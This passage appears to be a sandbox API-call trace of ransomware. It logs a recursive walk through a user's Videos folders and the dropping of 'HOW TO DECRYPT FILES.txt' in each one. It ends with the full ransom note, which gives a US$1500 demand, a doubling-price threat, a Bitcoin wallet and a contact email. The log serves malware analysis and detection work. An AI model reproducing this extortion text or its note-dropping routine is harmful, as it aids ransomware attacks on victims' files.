ftLastAccessTime.dwHighDateTime=0x1d5dd9d, ftLastWriteTime.dwLowDateTime=0x42fc4290, ftLastWriteTime.dwHighDateTime=0x1d5dd9d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x52d64e, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0091.437] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0091.437] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf3ba3b0, ftCreationTime.dwHighDateTime=0x1d5d8d8, ftLastAccessTime.dwLowDateTime=0x42fc4290, ftLastAccessTime.dwHighDateTime=0x1d5dd9d, ftLastWriteTime.dwLowDateTime=0x42fc4290, ftLastWriteTime.dwHighDateTime=0x1d5dd9d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0091.437] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0091.437] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0091.438] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38caaa40, ftCreationTime.dwHighDateTime=0x1d5e5cd, ftLastAccessTime.dwLowDateTime=0x4e76c010, ftLastAccessTime.dwHighDateTime=0x1d5dd38, ftLastWriteTime.dwLowDateTime=0x4e76c010, ftLastWriteTime.dwHighDateTime=0x1d5dd38, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="uunK45D A7V4ZSnmE", cAlternateFileName="UUNK45~1")) returned 1 [0091.438] lstrcmpA (lpString1=".", lpString2="uunK45D A7V4ZSnmE") returned -1 [0091.438] lstrcmpA (lpString1="..", lpString2="uunK45D A7V4ZSnmE") returned -1 [0091.438] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\*.*") returned="*.*" [0091.438] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\", lpString2="uunK45D A7V4ZSnmE" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\uunK45D A7V4ZSnmE") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\uunK45D A7V4ZSnmE" [0091.438] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\uunK45D A7V4ZSnmE\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38caaa40, ftCreationTime.dwHighDateTime=0x1d5e5cd, ftLastAccessTime.dwLowDateTime=0x4e76c010, ftLastAccessTime.dwHighDateTime=0x1d5dd38, ftLastWriteTime.dwLowDateTime=0x4e76c010, ftLastWriteTime.dwHighDateTime=0x1d5dd38, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502718 [0091.438] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0091.438] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38caaa40, ftCreationTime.dwHighDateTime=0x1d5e5cd, ftLastAccessTime.dwLowDateTime=0x4e76c010, ftLastAccessTime.dwHighDateTime=0x1d5dd38, ftLastWriteTime.dwLowDateTime=0x4e76c010, ftLastWriteTime.dwHighDateTime=0x1d5dd38, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.438] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0091.438] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0091.438] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa45e1900, ftCreationTime.dwHighDateTime=0x1d5dfe6, ftLastAccessTime.dwLowDateTime=0x8ccb6dd0, ftLastAccessTime.dwHighDateTime=0x1d5df44, ftLastWriteTime.dwLowDateTime=0x8ccb6dd0, ftLastWriteTime.dwHighDateTime=0x1d5df44, nFileSizeHigh=0x0, nFileSizeLow=0x13a7b, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ZNVZetAQAUt1E.avi", cAlternateFileName="ZNVZET~1.AVI")) returned 1 [0091.438] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0091.438] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ZNVZetAQAUt1E.avi") returned -1 [0091.438] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ZNVZetAQAUt1E.avi") returned -1 [0091.439] lstrcmpiA (lpString1="", lpString2="ZNVZetAQAUt1E.avi") returned -1 [0091.439] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\uunK45D A7V4ZSnmE\\*.*") returned="*.*" [0091.439] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\uunK45D A7V4ZSnmE\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\uunK45D A7V4ZSnmE\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\uunK45D A7V4ZSnmE\\" [0091.439] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\uunK45D A7V4ZSnmE\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\uunK45D A7V4ZSnmE\\") returned="" [0091.439] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\uunK45D A7V4ZSnmE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\uunK45D A7V4ZSnmE\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\uunK45D A7V4ZSnmE\\HOW TO DECRYPT FILES.txt" [0091.439] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\uunK45D A7V4ZSnmE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\ovb5tf6zrj4f-k\\jokblszd0zexdxdb\\uunk45d a7v4zsnme\\how to decrypt files.txt")) returned 0xffffffff [0091.439] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\uunK45D A7V4ZSnmE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\ovb5tf6zrj4f-k\\jokblszd0zexdxdb\\uunk45d a7v4zsnme\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa0 [0091.441] SetFileTime (hFile=0xa0, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0091.441] CloseHandle (hObject=0xa0) returned 1 [0091.442] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\uunK45D A7V4ZSnmE\\", lpString2="ZNVZetAQAUt1E.avi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\uunK45D A7V4ZSnmE\\ZNVZetAQAUt1E.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\uunK45D A7V4ZSnmE\\ZNVZetAQAUt1E.avi" [0091.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\uunK45D A7V4ZSnmE\\ZNVZetAQAUt1E.avi", pszSpec="*.ems") returned 0 [0091.442] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa45e1900, ftCreationTime.dwHighDateTime=0x1d5dfe6, ftLastAccessTime.dwLowDateTime=0x8ccb6dd0, ftLastAccessTime.dwHighDateTime=0x1d5df44, ftLastWriteTime.dwLowDateTime=0x8ccb6dd0, ftLastWriteTime.dwHighDateTime=0x1d5df44, nFileSizeHigh=0x0, nFileSizeLow=0x13a7b, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ZNVZetAQAUt1E.avi", cAlternateFileName="ZNVZET~1.AVI")) returned 0 [0091.442] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0091.442] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x620d4e40, ftCreationTime.dwHighDateTime=0x1d5e5b8, ftLastAccessTime.dwLowDateTime=0x31f2e4e0, ftLastAccessTime.dwHighDateTime=0x1d5d8c0, ftLastWriteTime.dwLowDateTime=0x31f2e4e0, ftLastWriteTime.dwHighDateTime=0x1d5d8c0, nFileSizeHigh=0x0, nFileSizeLow=0xc30b, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="vl-2m-oReXjNkjR.avi", cAlternateFileName="VL-2M-~1.AVI")) returned 1 [0091.442] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0091.442] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="vl-2m-oReXjNkjR.avi") returned -1 [0091.442] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="vl-2m-oReXjNkjR.avi") returned -1 [0091.442] lstrcmpiA (lpString1="", lpString2="vl-2m-oReXjNkjR.avi") returned -1 [0091.442] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\*.*") returned="*.*" [0091.442] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\" [0091.442] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\") returned="" [0091.442] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\HOW TO DECRYPT FILES.txt" [0091.442] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\ovb5tf6zrj4f-k\\jokblszd0zexdxdb\\how to decrypt files.txt")) returned 0xffffffff [0091.443] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\ovb5tf6zrj4f-k\\jokblszd0zexdxdb\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0091.479] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0091.479] CloseHandle (hObject=0x9c) returned 1 [0091.479] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\", lpString2="vl-2m-oReXjNkjR.avi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\vl-2m-oReXjNkjR.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\vl-2m-oReXjNkjR.avi" [0091.479] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x620d4e40, ftCreationTime.dwHighDateTime=0x1d5e5b8, ftLastAccessTime.dwLowDateTime=0x31f2e4e0, ftLastAccessTime.dwHighDateTime=0x1d5d8c0, ftLastWriteTime.dwLowDateTime=0x31f2e4e0, ftLastWriteTime.dwHighDateTime=0x1d5d8c0, nFileSizeHigh=0x0, nFileSizeLow=0xc30b, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="vl-2m-oReXjNkjR.avi", cAlternateFileName="VL-2M-~1.AVI")) returned 0 [0091.479] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0091.479] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d42cca0, ftCreationTime.dwHighDateTime=0x1d5da7b, ftLastAccessTime.dwLowDateTime=0xf322f90, ftLastAccessTime.dwHighDateTime=0x1d5e178, ftLastWriteTime.dwLowDateTime=0xf322f90, ftLastWriteTime.dwHighDateTime=0x1d5e178, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="pdCDsh", cAlternateFileName="")) returned 1 [0091.479] lstrcmpA (lpString1=".", lpString2="pdCDsh") returned -1 [0091.480] lstrcmpA (lpString1="..", lpString2="pdCDsh") returned -1 [0091.480] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\*.*") returned="*.*" [0091.480] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\", lpString2="pdCDsh" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh" [0091.480] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d42cca0, ftCreationTime.dwHighDateTime=0x1d5da7b, ftLastAccessTime.dwLowDateTime=0xf322f90, ftLastAccessTime.dwHighDateTime=0x1d5e178, ftLastWriteTime.dwLowDateTime=0xf322f90, ftLastWriteTime.dwHighDateTime=0x1d5e178, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x530045, dwReserved1=0x74002e, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0091.480] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0091.480] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d42cca0, ftCreationTime.dwHighDateTime=0x1d5da7b, ftLastAccessTime.dwLowDateTime=0xf322f90, ftLastAccessTime.dwHighDateTime=0x1d5e178, ftLastWriteTime.dwLowDateTime=0xf322f90, ftLastWriteTime.dwHighDateTime=0x1d5e178, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x740000, cFileName="..", cAlternateFileName="")) returned 1 [0091.480] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0091.480] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0091.480] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c468da0, ftCreationTime.dwHighDateTime=0x1d5e361, ftLastAccessTime.dwLowDateTime=0xc66ebb20, ftLastAccessTime.dwHighDateTime=0x1d5df24, ftLastWriteTime.dwLowDateTime=0xc66ebb20, ftLastWriteTime.dwHighDateTime=0x1d5df24, nFileSizeHigh=0x0, nFileSizeLow=0x17935, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="aDxukSb1yMeVSJlH.mp4", cAlternateFileName="ADXUKS~1.MP4")) returned 1 [0091.480] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0091.494] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aDxukSb1yMeVSJlH.mp4") returned 1 [0091.494] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aDxukSb1yMeVSJlH.mp4") returned 1 [0091.494] lstrcmpiA (lpString1="", lpString2="aDxukSb1yMeVSJlH.mp4") returned -1 [0091.494] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\*.*") returned="*.*" [0091.494] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\" [0091.496] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\") returned="" [0091.496] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\HOW TO DECRYPT FILES.txt" [0091.496] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\ovb5tf6zrj4f-k\\pdcdsh\\how to decrypt files.txt")) returned 0xffffffff [0091.515] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\pdCDsh\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\ovb5tf6zrj4f-k\\pdcdsh\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0091.561] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0091.561] WriteFile (in: hFile=0x9c, lpBuffer=0x4f4b00*, 